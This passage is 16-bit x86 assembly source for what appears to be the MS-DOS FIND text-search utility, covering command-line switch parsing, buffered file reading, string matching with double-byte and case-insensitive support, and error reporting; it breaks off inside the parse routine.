INCLUDE find.inc ; ;AN000; Include find equates and MACROS
.list ;
.cref ;
;---------------------------;
MSG_UTILNAME <FIND> ;AN000;
;--------------------------
;- EQUATES
;--------------------------
FALSE equ 0
TRUE equ NOT FALSE
CR equ 0dh ;A Carriage Return
LF equ 0ah ;A Line Feed
quote_char equ 22h ;A double quote character
buffer_size equ 4096 ;file buffer size
st_buf_size equ 128 ;string arg. buffer size
fname_buf_size equ 64 ;file name buffer size
;----- DOS EQUATES -----;
STDIN equ 0 ;AN000; Handle
STDOUT equ 1 ;AN000; Handle
STDERR equ 2 ;AN000; Handle
ERROR_ACCESS_DENIED equ 5 ;AN000; Int 021h error return
;------------------------
;- MESSAGE EQUATES
;------------------------
msg_file_not_found equ 2 ;AN000; File not found %s
msg_access_denied equ 5 ;AN000; Access denied %s
msg_read_error equ 30 ;AN000; Read error in %s
msg_inv_num_parm equ 2 ;AN000; Invalid number of parameters
msg_inv_parm equ 10 ;AN000; Invalid Parameter %s
msg_required_missing equ 2 ;AN005; Required parameter missing
msg_find equ 4 ;AN000; FIND:
msg_code_page_mismatch equ 37 ;AN005; Code Page mismatch
msg_switch equ 3 ;AN005; Invalid switch
msg_opt1 equ 10 ; these three messages comprise the
msg_opt2 equ 11 ; explanation of the options allowed
msg_opt3 equ 12 ; for find. leaf, april 1990
MSG_OPTIONS_FIRST equ 300 ; first options help msg #
MSG_OPTIONS_LAST equ 310 ; and last
;-----------------------
;-- Parser equates
;-----------------------
FarSW equ 0 ;AN000;
DateSW equ 0 ;AN000;
TimeSW equ 0 ;AN000;
FileSW equ 1 ;AN000;
CAPSW equ 1 ;AN000;
CmpxSW equ 0 ;AN000;
DrvSW equ 0 ;AN000;
QusSW equ 1 ;AN000;
NumSW equ 0 ;AN000;
KeySW equ 0 ;AN000;
SwSW equ 1 ;AN000;
Val1SW equ 0 ;AN000;
Val2SW equ 0 ;AN000;
Val3SW equ 0 ;AN000;
;------------------------
; SUBLIST Equates
;------------------------
Left_Align equ 0 ;AN000; 00xxxxxx
Right_Align equ 80h ;AN000; 10xxxxxx
Char_Field_Char equ 0 ;AN000; a0000000
Char_Field_ASCIIZ equ 10h ;AN000; a0010000
Unsgn_Bin_Byte equ 11h ;AN000; a0010001 - Unsigned Binary to Decimal character
Unsgn_Bin_Word equ 21h ;AN000; a0100001
Unsgn_Bin_DWord equ 31h ;AN000; a0110001
Sgn_Bin_Byte equ 12h ;AN000; a0010010 - Signed Binary to Decimal character
Sgn_Bin_Word equ 22h ;AN000; a0100010
Sgn_Bin_DWord equ 32h ;AN000; a0110010
Bin_Hex_Byte equ 13h ;AN000; a0010011 - Unsigned Binary to Hexidecimal character
Bin_Hex_Word equ 23h ;AN000; a0100011
Bin_Hex_DWord equ 33h ;AN000; a0110011
;---------------------------------------
;-------------- CODE SEGMENT -----------
;---------------------------------------
code segment public
assume cs:code
assume ds:nothing
assume es:nothing
assume ss:stack
jmp start
;
;--------------------
.xlist
.xcref
include version.inc
INCLUDE parse.asm
.list
.cref
;--------------------
EXTRN heading:byte,heading_len:byte
;-----------------------
;----- Misc Data ------
bufferDB db 6 dup(0) ;AN006;
dbcs_off dw 0 ;AN006;
dbcs_seg dw 0 ;AN006;
dbcs_len dw 0 ;AN006;
ccolon db ": "
n1_buf db "["
n2_buf db 8 dup(0) ;buffer for number conversion
; possible values of return code
MATCH_EXIT equ 0 ; match found, no errors
NO_MATCH_EXIT equ 1 ; no match found, no errors
ERROR_EXIT equ 2 ; error encountered, search incomplete
errlevel db NO_MATCH_EXIT ; assume no error, no match
GET_UPPER_TABLE equ 6502h ; DOS get upper case table call
ucasetab_bias dw 0 ; value of (256-table size)
uppercase_table db 5 dup (?) ; buffer for upper case table
; used of DOS Function 65h,
; and to store real table address
; command line switch flags
switches db 0 ; holds switches specified on command line
LINE_NUMS equ 1 ; /n - print line numbers with matched lines
NOT_MATCHED equ 2 ; /v - print lines not containing match
LINE_COUNT equ 4 ; /c - print count of matching lines only
NO_CASE equ 8 ; /i - case insensitive search
HELP equ 10h ; /? - display help message
;----- LINE COUNTERS
mtch_cntr dw 0 ;matched lines counter
line_cntr dw 0 ;line counter
;-------------------------------------------
;- MESSAGE RETRIEVER SUBSTITUTION LIST
;-------------------------------------------
MSG_SERVICES <MSGDATA> ;AN000;
sublist label dword ;AN000;
sl_size db 11 ;AN000; SUBLIST Size, in bytes
sl_res db 0 ;AN000; reserved
sl_ptr_o dw ? ;AN000; Offset PTR to data item
sl_ptr_s dw ? ;AN000; Segment PTR to data item
sl_n db 0 ;AN000; n of %n
sl_flag db ? ;AN000; Data-Type flags
sl_maxw db 0 ;AN000; Max width
sl_minw db 0 ;AN000; Min width
sl_pad db ' ' ;AN000; Pad character
parm db ? ;AN000; Save area for invalid parm
;******************************************************************************
;* PARSER DATA STRUCTURES FOLLOW
;******************************************************************************
parms label byte ;AN000;
dw parmsx ;AN000; POINTER TO PARMS STRUCURE
db 1 ;AN000; DELIMITER LIST FOLLOWS
db 1 ;AN000; NUMBER OF ADDITIONAL DELIMITERS
db ";" ;AN000; ADDITIONAL DELIMITER
parms1 label byte ;AN005;
dw parmsx1 ;AN005; POINTER TO PARMS STRUCURE
db 1 ;AN005; DELIMITER LIST FOLLOWS
db 1 ;AN005; NUMBER OF ADDITIONAL DELIMITERS
db ";" ;AN005; ADDITIONAL DELIMITER
;------------------------------
;- STRUCTURE TO DEFINE FIND SYNTAX REQUIREMENTS
;------------------------------
parmsx label word ;AN000;
db 1,2 ;AN000; THERE ARE BETWEEN 1 AND 2 POSITIONAL PARMS
dw pos1 ;AN000; POINTER TO POSITIONAL DEFINITION AREA
dw pos2 ;AN000; POINTER TO POSITIONAL DEFINITION AREA
db 1 ;AN000; THERE IS 1 SWITCH DEF AREA FOR "/V, /C, AND /N"
dw sw1 ;AN000; POINTER TO FIRST SWITCH DEFINITION AREA
dw 0 ;AN000; THERE ARE NO KEYWORDS IN FIND SYNTAX
parmsx1 label word ;AN000;
db 0,2 ;AN000; THERE ARE BETWEEN 0 AND 2 POSITIONAL PARMS
;M01;allow minimum of 0 so that command line
;M01;errors are caught by main parse (after pre-parse)
dw pos1 ;AN000; POINTER TO POSITIONAL DEFINITION AREA
dw pos2 ;AN000; POINTER TO POSITIONAL DEFINITION AREA
db 1 ;AN000; THERE IS 1 SWITCH DEF AREA FOR "/V, /C, AND /N"
dw sw1 ;AN000; POINTER TO FIRST SWITCH DEFINITION AREA
dw 0 ;AN000; THERE ARE NO KEYWORDS IN FIND SYNTAX
;M01;end
;------------------------------
;- STRUCTURE TO DEFINE POSITIONAL PARM
;------------------------------
pos1 label word ;AN000;
dw 0080h ;AN000; QUOTED STRING, REQUIRED
dw 0000h ;AN000; NO CAPITALIZE
dw ret_buff ;AN000; PLACE RESULT IN RET_BUFF
dw novals ;AN000; NO VALUE LIST
db 0 ;AN000; NO KEYWORDS
;------------------------------
;- STRUCTURE TO DEFINE POSITIONAL PARM
;------------------------------
pos2 label word ;AN000;
dw 0203h ;AN000; FILE NAME, OPTIONAL, REPEATS ALLOWED
dw 0001h ;AN000; CAPITALIZE BY FILE TABLE
dw ret_buff ;AN000; PLACE RESULT IN RET_BUFF
dw novals ;AN000; NO VALUE LIST
db 0 ;AN000; NO KEYWORDS
;------------------------------
;- STRUCTURE TO DEFINE THE SWITCHES
;------------------------------
public sw1
public n_swch
sw1 label word ;AN000;
dw 0 ;AN000; NO MATCH FLAGS
dw 2 ;AN005; capitalize
dw ret_buff ;AN000; PLACE RESULT IN RET_BUFF
dw novals ;AN000; NO VALUE LIST
db 5 ;AN000; Five SWITCHES IN FOLLOWING LIST
n_swch db "/N",0 ;AN000;
v_swch db "/V",0 ;AN000;
c_swch db "/C",0 ;AN000;
i_swch db "/I",0
?_swch db "/?",0
;------------------------------
;- VALUE LIST DEFINITION FOR NO VALUES
;------------------------------
novals label word ;AN000;
db 0 ;AN000; VALUE LIST
;------------------------------
;- RETURN BUFFER FOR POSITIONAL PARAMETERS
;------------------------------
ret_buff label word ;AN000;
rb_type db ? ;AN000; TYPE RETURNED
rb_item_tag db ? ;AN000; SPACE FOR ITEM TAG
rb_synonym dw ? ;AN000; ES:rb_synonym points to synonym
rb_value_lo dw ? ;AN000; SPACE FOR VALUE
rb_value_hi dw ? ;AN000; SPACE FOR VALUE
did_file db FALSE ;AN004; if true then already processed a file
got_eol db FALSE ;AN004; if false then possibly more filenames on command line
got_filename db FALSE ;AN004; if true then parser found a filename on command line
got_srch_str db FALSE ;AN000; if true then parser found search string on command line
ordinal dw 0 ;AN000; parser ordinal
crlf db CR,LF ;AN000;
;
;************************************************************
;*
;* SUBROUTINE NAME: main
;*
;* SUBROUTINE FUNCTION:
;* Process the command line. If there are no errors, then open
;* the specified files, search for string, display it to the
;* standard output device.
;*
;* INPUT: Command line (described in program header)
;*
;* OUTPUT:
;* Files will be opened and read in. Regardless of the command
;* line parameters entered by the user, output will be written
;* to the standard output device handle 1.
;*
;* NORMAL EXIT:
;* File(s) opened (if not STDIN), read successfully, and closed.
;* Display requested information.
;*
;* ERROR CONDITIONS:
;* Incorrect DOS version
;* Invalid number of parameters
;* Syntax error
;* Access denied
;* File not found
;* Invalid Parameter
;* Read error in
;*
;* INTERNAL REFERENCES:
;* bin2asc
;* clr_cntrs
;* is_prefix
;* next_kchar
;* print_count
;* prout
;* prt_err
;* prt_err_2
;* prt_file_name
;* prt_lcntr
;*
;**************************************************************************
MSG_SERVICES <FIND.ctl,FIND.cla,FIND.cl1,FIND.cl2> ;AN000;
MSG_SERVICES <DISPLAYmsg,LOADmsg,CHARmsg,NOCHECKSTDIN> ;AN003; Make retriever services available
START:
mov ax,cs ;load ES to the right area,
mov es,ax ;
mov ds,ax ;
assume ds:code, es:code
call sysloadmsg ;AN000; Preload messages, Check DOS Version.
jnc Set_for_parse ;AN000; If no error, parse command line
call prt_find ;AN005;
call sysdispmsg ;AN005;
mov errlevel,ERROR_EXIT ; report error occurred
call terminate ; does not return
;-----------------------------------
;- DOS version is ok. Parse cmd line
;-----------------------------------
Set_for_parse:
call get_dbcs_vector ;AN006; ;Get DOS dbcs table vector
;
mov ah,GetCurrentPSP ;AN000; Get PSP address, returned in BX
int 021h ;AN000;
mov ds,bx ;AN000; Put PSP Seg in DS
assume ds:nothing
mov si,081h ;AN000; Offset of command line in PSP
xor cx,cx ;AN000; Number of args processed so far = 0
mov cs:ordinal,cx ;AN000; init parser ordinal
;--------------------------------------
; See if there was nothing entered
;--------------------------------------
cmp byte ptr ds:080h,0 ;AN000; Check length of command line,
jne p_parse ;AN005; Go process the parameters
mov ax,msg_inv_num_parm ;AN000; No parms, too bad!
mov dh,2 ;AN005; message class
call display_and_die ;AN000; Tell the unfortunate user
p_parse:
mov cs:got_filename,FALSE ;AN004; input file default is STDIN
push cs ;A0005; ensure es is correct
pop es ;AN005;
assume es:code
call clr_cntrs ;AN005; set all counters to zero
mov cx,ordinal ;AN005; init parser ordinal
call pre_parse ;AN005;
test switches,HELP
jz parser
jmp foo
PARSER:
push cs ;A0000; ensure es is correct
pop es
assume es:code
call clr_cntrs ; set all counters to zero
mov cx,ordinal ;AN000; init parser ordinal
call parse ;AN000; Parse command line
push si ;AN000; Save ptr to remaining command line
push ds
push cs ;Load new DS with CS
pop ds
assume ds:code
mov ordinal,cx ;AN000; Save parser ordinal
;---------------------
; get filespec size
;---------------------
mov file_name_buf,di ;save buffer offset from parser
xor bx,bx ;AN000;indicate no save again
call get_length ;AN000;get filespec length
mov file_name_len,ax ;save the name length
; Get pointer to upper case table if necessary - M002
test switches,NO_CASE ; case ignore active?
jz open_file
push es
mov ax,GET_UPPER_TABLE
mov bx,-1 ; current code page
mov cx,5 ; size of info for upper case table
mov dx,bx ; current country id
push cs
pop es
assume es:code
mov di,offset uppercase_table ; point at buffer for table
int 21h
; assume no error
inc di ; point at start of table
les di,[di] ; load table address
assume es:nothing
mov bx,es:[di] ; load table size
mov ax,256 ; compute table size bias
sub ax,bx
mov ucasetab_bias,ax ; save it for later
add di,2 ; point at translation table
mov word ptr uppercase_table,di ; save tranlation table address
mov word ptr uppercase_table+2,es
pop es
;---------------------
;- OPEN FILE FOR READING
;--------------------- ; M002 end
open_file:
cmp got_filename,TRUE ;AN004; using STDIN
je o_cont ;AN004; no, open the file
xor ax,ax ;AN007; ;AN004; file handle (ax) = STDIN
jmp short say_name ;AN007; ;AN004; skip open of file
o_cont: ;AN004;
mov dx,file_name_buf ;AC000;addrss. of the file name
openit:
mov ah,open
mov al,0 ;file open for reading
int 021h ;call the DOS
jc do_open_error ;AN000;
;---------------------
;- PRINT FILE NAME
;---------------------
say_name:
push ax ;save file handle
cmp got_filename,FALSE ;AN004; using STDIN
je xx1 ;AN004; yes, don't print a filename
mov dx,offset heading
mov cl,heading_len
xor ch,ch
call prout
mov dx,file_name_buf
mov cx,file_name_len
call prout
test switches,LINE_COUNT ;count only flag set?
jnz xx1
mov dx,offset crlf
mov cx,2
call prout
xx1:
pop ax
;---------------------
;- Fill Buffer for Matching
;---------------------
fill:
mov bx,ax ;retrieve handle
refill:
mov dx,offset buffer ;data buffer addrss.
mov cx,buffer_size
mov ah,read
int 021h
jnc no_read_error ;if carry then read error
jmp read_error
no_read_error:
or ax,ax ;if ax=0 then all done
jnz Truncate
DoNullRead:
test switches,LINE_COUNT ;count only flag set?
jz sj2
call print_count
sj2:
and bx,bx ;Using STD IN?
jnz regular
jmp foo ;if so: all done, exit
regular:
mov ah,close ;otherwise close the file
int 021h
jmp scan_rest ;get another file
do_open_error:
jmp open_error ;AN000;
;---------------------------
; We have read in an entire buffer. Scan for a ^Z and terminate the buffer
; there. Change only CX
;---------------------------
Truncate:
push di
push cx
push es
mov di,dx
mov cx,ax
mov ax,ds
mov es,ax
assume es:code
mov al,1Ah
CLD
repnz scasb
;---------------------------
; If zero is set, the the previous character is a ^Z. If it is reset then
; the previous character is the end of buffer. With ^Z, we back up over the
; char.
;---------------------------
jnz chop
dec di
chop:
mov ax,di
sub ax,dx ; get true length of buffer
pop es
assume es:nothing
pop cx
pop di
or ax,ax
jz DoNullRead
;---------------------------
;----- MATCH ROUTINE
;---------------------------
;Note: If input is being taken from a file the stack contains
; (from top to bottom):
; - Pointer to the next command in the command line
; - Pointer to the program segment prefix (to be loaded into
; DS to access the command line.
; if the input is from the standard input then NONE of it will be
; in the stack.
;---------------------------
go_match:
push bx ;save the file handle
mov bp,offset buffer ;ptr to first line of file
;---------------------------
; At this point we must check to make sure there is AT LEAST one LF in the
; buffer. If there is not, then we must insert one at the end so we
; don't get stuck trying to get one complete line in the buffer when
; we can't cause the buffer ain't big enough.
;---------------------------
push ax ; Save true buffer size
mov cx,ax ; scan whole buffer
mov al,LF ; for a LF
mov di,bp ; start of buffer
repnz scasb
pop ax ; recover buffer size
mov di,ax ;displacement from beg of buffer
jnz last_line ; No line feeds, must insert one
;---------------------------
; Check to see if we reached EOF (return from READ less than buffer_size).
; If EOF we must make sure we end with a CRLF pair.
;---------------------------
cmp ax,buffer_size-1 ;last line of the file?
jg no_last_line ;nope
last_line: ;if yes, add a CRLF just in case
mov bx,bp
cmp byte ptr[bx+di-1],LF ;finished with a LF?
je no_last_line ;yes, it's an OK line.
mov byte ptr[bx+di],CR ;put a CR at the end of the data
inc di
mov byte ptr[bx+di],LF ;put a LF ...
inc di
no_last_line:
push di ;save the # of chars. in the buffer
push bp
mov dx,st_length ;length of the string arg.
dec dx ;adjust for later use
jmp short try_again
more_stuff_o:
jmp more_stuff
;----- SCAN LINES IN THE BUFFER FOR A MATCH -------------------------;
;Note: at this point the stack contains (from top to bottom):
; - Stuff mentioned before
; - File Handle
; - Number of chars. left in the buffer from the next line.
; - Addrs. of the next line in the buffer.
;
; plus, DX has the adjusted length of the string argument.
;
; We are about to begin scanning a line. We start by determining if there is
; a complete line in the buffer. If so, we scan for the char. If NOT, we go
; and grab new info.
;---------------------------
public try_again
try_again:
pop bp ;addrs. of next line in the buffer
mov di,bp ;points to beg. of a line
pop cx ;get # of chars left in the buffer
mov bx,cx ;save in case a non-complete line
mov al,LF ;search for a Line Feed
jcxz more_stuff_o ;no chars left in buffer
repnz scasb
jnz more_stuff_o ;no full line left in buffer
push cx ;save chars left in buffer
push di ;points to beg. of next line
mov cx,di
sub cx,bp ;length of the current line
mov bx,cx ;save in case it has a match
dec cx ;Discount the LF we found
cmp byte ptr ES:[DI-2],CR ; Is there a CR to discount too?
jnz NO_SECOND_DEC ; No there is not.
dec cx ;CR character discounted
NO_SECOND_DEC:
inc line_cntr ;increment line counter
jcxz try_again_opt ;if line empty go to next line
mov di,bp ;pointer to the beg. of current line
another_char:
;---------------------------
; On entry:
; BX line length
; CX adjusted line length
; DX adjusted string argument length
; DI points to beg. of line
;---------------------------
push dx ;save for next line
lop:
pop dx
push dx
inc dx ;different algorithm!
mov si,offset st_buffer ;pointer to beg. of string argument
comp_next_char:
push di
mov di,si
call is_prefix ;check for a prefix char
pop di
jnc nopre
lodsw
cmp cx,1 ; Can not compare a two byte char
jbe try_again_opt1 ; if there is only one available
cmp ax,word ptr [di]
jz kmatch1
jmp short back_up ;AN007;
nopre:
lodsb
cmp al,byte ptr [di]
jz kmatch
test switches,NO_CASE ; case insensitive search?
jz back_up ; back up now if not
mov ah,[di] ; get other char in AH
call check_case ; check case of both chars
cmp al,ah ; compare again
jz kmatch
back_up:
pop ax ; Original length of comp string
push ax
inc ax
;---------------------------
; Our match failed IN THE MIDDLE of the string (partial match). We need
; to back up in the line to the NEXT char after the one which matched
; the first char of the search string and try again. The amount to
; back up to where we started is ax-dx (the result MAY be 0, this is OK).
; we then need to skip ONE char in the line.
;---------------------------
sub ax,dx ; AX = AX-DX
sub di,ax ; Do the back up.
add cx,ax ; restore count too!
call next_kchar ;no match, advance di to next kanji
jc try_again_opt1 ;not enough chars left in line
jmp short lop ;try another char in line
try_again_opt1:
pop dx
jmp short try_again_opt ;AN007;
kmatch1:
dec dx ;last char had prefix so it was
; long.
kmatch:
dec dx
jz a_matchk ; no chars left: a match!
call next_kchar
jc try_again_opt1
jmp comp_next_char ; loop if chars left in arg.
a_matchk:
mov errlevel,MATCH_EXIT ; match found, set return code
pop dx
test switches,NOT_MATCHED ;is flag set?
jz prt_line ;no, print the line
jmp try_again
;---------------------------
;- NO MATCH: CHECK FOR THE v OPTION
;---------------------------
try_again_opt:
test switches,NOT_MATCHED ;is flag set?
jnz prt_line
jmp try_again ;no goto next line
;---------------------------
;- PRINT THE LINE WITH THE MATCH
;Note: at this point the stack contains (top to bottom)
; - Stuff mentioned before
;
; plus, BP points to begginig of the current line, BX has the length
;of the current line including the CRLF, and DX the adjusted length of
;the string argument.
;---------------------------
prt_line:
test switches,LINE_COUNT ;is count only flag set?
jz no_line_count
inc mtch_cntr ;yes, increment counter
jmp try_again
no_line_count:
push dx ;save the adjusted string arg. length
test switches,LINE_NUMS ;is line number flag set?
jz no_line_nums
call prt_lcntr
no_line_nums:
mov dx,bp
mov cx,bx
call prout
pop dx ;restore
jmp try_again
;----- READ MORE TEXT LINES INTO THE BUFFER -------------------------;
; The scanning routines have detected that the buffer does not
;contain a full line any more. More lines have to be read into the
;buffer. But first perform a seek on the file in order to re-read
;the non-complete line into the begining of the buffer.
; Uppon entry BP contains points to the begining of the non-complete
;line, and BX has the number of characters left in the buffer.
; The Stack contains (top to bottom):
; - Pointer to the next command in the command line
; - Pointer to the program segment prefix (to be loaded into
; DS to access the command line).
; - File handle.
more_stuff:
mov dx,bx ;get chars left in buffer
pop bx ;get the handle
or dx,dx ;are there 0 left?
jz no_seek ;yes, do not seek
neg dx ;form two's complement
mov cx,-1
mov al,1 ;seek from the current position
mov ah,lseek ;seek on file
int 021h
jc read_error
no_seek:
jmp refill ;no errors: refill the buffer
read_error:
and bx,bx ;AN007; ;Using STD IN?
je foo ;if so: all done, exit
mov ah,close ;close the file
int 021h
;---------------
;------ Set message number and go display it
mov ax,msg_read_error ;AN000; Read error message
jmp short r_error ;AN007;
;---------------------
;- PRINT ERRORS
;---------------------
open_error:
cmp ax,ERROR_ACCESS_DENIED ;AN000;
jnz DoNorm
mov ax,msg_access_denied ;AN000; Message for Access Denied
jmp short r_error ;AN007; ;AN000; Do the rest
DoNorm: ;AN000;
mov ax,msg_file_not_found ;AN000; Message for File Not Found
r_error:
call prt_find ;AN005;
mov sl_ptr_s,ds ;AN000; Save segment of subst text
mov cx,file_name_buf ;AN000;
mov sl_ptr_o,cx ;AN000; Save offset of subst text
mov sl_flag,left_align+char_field_ASCIIZ ;AN000; Type of insertion text
mov bx,STDERR ;AN000; Sent to STD OUT
mov cx,1 ;AN000; One substitution string
mov dh,1 ;AN000; Its a utility message
call display_msg ;AN000; Display rror message
mov errlevel,ERROR_EXIT ; signal exiting with error
;---------------------
;- SCAN THE REST OF THE COMMAND LINE
;---------------------
scan_rest:
pop ds ;restore pointer to comm. line
assume ds:nothing
pop si ;restore pointer to next comm.
mov did_file,TRUE ; tell parser we did a file, so if it doesn't find another, ok!
cmp got_eol,TRUE ; Check if nothing left on command line
je foo ; no, nothing left on command line, exit
jmp parser
foo:
call terminate ; terminate
;--------------------------
; Clear Counters
;--------------------------
assume ds:nothing
clr_cntrs proc near
mov byte ptr cs:mtch_cntr,0
mov byte ptr cs:line_cntr,0
ret
clr_cntrs endp
;--------------------------
; Print Count of Matched lines
; Modifies: AX,CX,DX and DI
;--------------------------
assume ds:code
print_count proc near
push bx ;save handle
and bx,bx ;AN007; ;using STDIN?
jz sj3 ;if so do not print file name
mov dx,offset ccolon
mov cx,2
call prout ;print colon
sj3:
mov ax,mtch_cntr
mov di,offset n2_buf ;buffer for characters
call bin2asc ;convert to ascii
mov dx,offset n2_buf
call prout ;print the number
mov dx,offset crlf
mov cx,2
call prout ;print an end of line
pop bx
ret
print_count endp
;--------------------------
; Print relative line number
; Modifies: AX,CX and DI
;--------------------------
assume ds:code
prt_lcntr proc near
push bx
push dx
mov ax,line_cntr
mov di,offset n2_buf
call bin2asc
mov byte ptr[di],"]"
inc cx
inc cx
mov dx,offset n1_buf
call prout
pop dx
pop bx
ret
prt_lcntr endp
;--------------------------
; Print string to STDOUT
;--------------------------
assume ds:code
prout proc near
mov bx,STDOUT
mov ah,write
int 021h
ret
prout endp
;--------------------------
; Binary to Ascii conversion routine
; Entry:
; AX Binary number
; DI Points to one past the last char in the
; result buffer.
; Exit:
; Result in the buffer MSD first
; CX Digit count
; Modifies:
; AX,BX,CX,DX and DI
;--------------------------
assume ds:code
bin2asc proc near
mov bx,0ah
xor cx,cx
go_div:
inc cx
cmp ax,bx
jb div_done
xor dx,dx
div bx
add dl,'0' ;convert to ASCII
push dx
jmp short go_div
div_done:
add al,'0'
push ax
mov bx,cx
deposit:
pop ax
stosb
loop deposit
mov cx,bx
ret
bin2asc endp
;--------------------------
; Compares chars in AH and AL regardless of case
; if either char is lower case, convert to upper and
; compare. On entry, we've already established the
; chars don't compare as they are, so we need to check
; if they compare after case mapping
;
; entry:
; AL,AH have the characters to compare
; exit:
; AL,AH converted to upper case
; modifies:
; AX
;--------------------------
;M002 modified this routine
assume ds:code
check_case proc near
cmp al,80h ; if AL is extended char, get mapping
jb not_al_high ; AL not extended char
call use_table ; get mapping
not_al_high:
xchg ah,al
cmp al,80h
jb not_ah_high
call use_table
not_ah_high:
cmp al,'a'
jb not_al_lower
cmp al,'z'
ja not_al_lower
and al,0DFh
not_al_lower:
xchg ah,al
cmp al,'a'
jb not_ah_lower
cmp al,'z'
ja not_ah_lower
and al,0DFh
not_ah_lower:
ret
use_table:
push bx
push di
push es
les di,dword ptr uppercase_table ; get the table
assume es:nothing
mov bl,al
xor bh,bh
sub bx,ucasetab_bias ; get the index
mov al,es:[di+bx] ; get the char
pop es
pop di
pop bx
ret
check_case endp
;--------------------------
; ADVANCE POINTER TO NEXT KANJI CHARACTER
; entry: DI points to a Kanji string
; CX length in bytes of the string
; exit: DI points to next Kanji char
; CX has number of bytes left
; modifies: AX
;--------------------------
assume ds:code
next_kchar proc near
jcxz no_kleft
call is_prefix
jnc no_p
inc di
dec cx
jcxz no_kleft ; for insurance
no_p:
inc di
dec cx
clc
ret
no_kleft:
stc
ret
next_kchar endp
;--------------------------
; Get DOS dbcs table vector
; entry: none
; exit: none
; modifies: none
;--------------------------
get_dbcs_vector proc near ;AN006;
push es ;AN006;
push di ;AN006;
push ax ;AN006;
push bx ;AN006;
push cx ;AN006;
push dx ;AN006;
;
mov ax,cs ;AN006; ;segment of return buffer
mov es,ax ;AN006;
assume es:code
mov di,offset bufferDB ;AN006; ;offset of return buffer
mov ah,65h ;AN006; ;get extended country info
mov al,07h ;AN006; ;get DBCS environment table
mov bx,0ffffh ;AN006; ;use active code page
mov cx,5 ;AN006; ;number of bytes returned
mov dx,0ffffh ;AN006; ;default country ID
int 21h ;AN006; ;DOS function call,vector returned
;AN006; ; in ES:DI
assume es:nothing
inc di ;AN006; ;skip over id byte returned
mov ax,word ptr es:[di] ;AN006; ;get offset of DBCS table
mov cs:dbcs_off,ax ;AN006; ;save it
;
add di,2 ;AN006; ;skip over offset to get segment
mov bx,word ptr es:[di] ;AN006; ;get segment of DBCS table
mov cs:dbcs_seg,bx ;AN006; ;save it
;
mov di,ax ;AN006; ;Point to DBCS table to get length
mov es,bx ;AN006;
mov ax,word ptr es:[di] ;AN006;
mov cs:dbcs_len,ax ;AN006;
add cs:dbcs_off,2 ;AN006; ;change offset to point to table
;
pop dx ;AN006;
pop cx ;AN006;
pop bx ;AN006;
pop ax ;AN006;
pop di ;AN006;
pop es ;AN006;
;
ret ;AN006;
get_dbcs_vector endp ;AN006;
;--------------------------
; FIND OUT IS THE BYTE IS A KANJI PREFIX
; entry: DI points to a kanji string
; exit: Carry set if it is a kanji prefix
; modifies: AX
;--------------------------
assume ds:code
is_prefix proc near ;AN006;
push es
push si
push ax
;
mov si,dbcs_off ;ES:SI -> DOS dbcs table
mov ax,dbcs_seg
mov es,ax
;
assume es:nothing
mov al,byte ptr [di] ;get first byte of string
;
; Two consecutive 00 bytes signifies end of table
;
is_loop:
cmp word ptr es:[si],00h ;Check for two consecutive 00 bytes
jne is_next1 ;no, continue
clc ;clear carry - byte is not lead byte of db char
jmp short is_exit ;AN007; ;yes, found them, quit
;
; Check if byte is within range values of DOS dbcs table
;
is_next1:
cmp al,byte ptr es:[si] ;is byte >= first byte in range?
jae is_next2 ;yes, continue
jmp short is_again ;AN007; ;no, loop again
is_next2:
cmp al,byte ptr es:[si+1] ;is byte <= last byte in range?
jbe is_found ;yes, found a lead byte of db char
is_again:
add si,2 ;no, increment ptr to next range
jmp is_loop
is_found:
stc ;byte is lead byte of db char, set carry
is_exit:
pop ax
pop si
pop es
;
ret
is_prefix endp
;
;---------------------
;- Terminate process
;---------------------
terminate proc near ;AN000;
mov ah,exit ;AN000; Terminate function call
mov al,cs:errlevel ;AN000; Errorlevel placed in AL
int 021h ;AN000; Terminate
ret ;AN000; Meaningless return
terminate endp ;AN000;
;
;************************************************************
;*
;* SUBROUTINE NAME: display_msg
;*
;* SUBROUTINE FUNCTION:
;* Display the requested message to the specified handle
;*
;* INPUT:
;* 1) AX = Number of the message to be displayed.
;* 2) BX = Handle to be written to.
;* 3) DH = Code indicating message class
;*
;* OUTPUT:
;* The message corresponding to the requested msg number will
;* be written to the requested handle.
;*
;* NORMAL EXIT:
;* Message will be successfully written to requested handle.
;*
;* ERROR EXIT:
;* None. Note that theoretically an error can be returned from
;* SYSDISPMSG, but there is nothing that the application can do.
;*
;* INTERNAL REFERENCES:
;* System Display Message service routines
;*
;* EXTERNAL REFERENCES:
;* None
;*
;************************************************************
display_msg proc near ;AN000;
push ds ;AN000; Save DS
push cs ;AN000; Substitution list segment
pop ds ;AN000;
assume ds:code
mov si,offset sublist ;AN000; Substitution list offset
; mov dh,-1 ;AN000; Message class
; 1=DOS Extended error
; 2=DOS Parse error
; -1=Utility message
mov dl,0 ;AN000; DOS INT 21H function number to use for input
; 00H=No input, 01H=Keyboard input,
; 07H=Direct Console Input Without Echo,
; 08H=Console Input Without Echo, 0AH=Buffered Keyboard Input
call SYSDISPMSG ;AN000; AX=Extended key value if wait for key
; jnc disp_done ;AN000; If CARRY SET then registers will contain extended error information
; AX - Extended error Number
; BH - Error Class
; BL - Suggested action
; CH - Locus
disp_done: ;AN000;
pop ds ;AN000; Restore DS
assume ds:nothing
ret ;AN000;
display_msg ENDP ;AN000;
PAGE
;************************************************************
;*
;* SUBROUTINE NAME: parse
;*
;* SUBROUTINE FUNCTION:
;* Call the DOS PARSE Service Routines to process the command
;* line. Search for valid switches (/N, /V, /I, and /C) and take
;* appropriate action for each. Extract the search string.
;*
;* INPUT: DS:SI points to string to parse
;* ES:DI parser parms
;*
;* OUTPUT: ES:DI points to filespec for text search
;*
;* NORMAL EXIT:
;*
;* If /V, /C, or /N entered, set appropriate flag.
;* Save the search string.
;*
;* ERROR EXIT:
;*
;* If user enters any invalid parameter or switch, then this
;* routine will display an error message and terminate with
;* errorlevel 2.
;*
;************************************************************
EOL equ -1 ;AN000; Indicator for End-Of-Line
NOERROR equ 0 ;AN000; Return Indicator for No Errors
SYNTAX equ 9 ;AN000; Syntax error from parser
SWITCH equ 3 ;AN000;
FILESPEC equ 5 ;AN000;
QUOTED_STRING equ 9 ;AN000;
parse proc near ;AN000;
;--------------------------------------
; address of command line in DS:SI
;--------------------------------------
;------------------------------------------
;- Look for the search string and switches
;------------------------------------------
parse_loop: ;
mov di,offset parms ; Address of parse control block at ES:DI
xor dx,dx ; Reserved
call sysparse ; Parse parm at DS:SI
cmp ax,EOL ; Are we at End Of Line ??
jne p_next ; No eol found
mov cs:got_eol,TRUE ; no more filenames to get!
cmp cs:did_file,TRUE ; did we do a file already ?
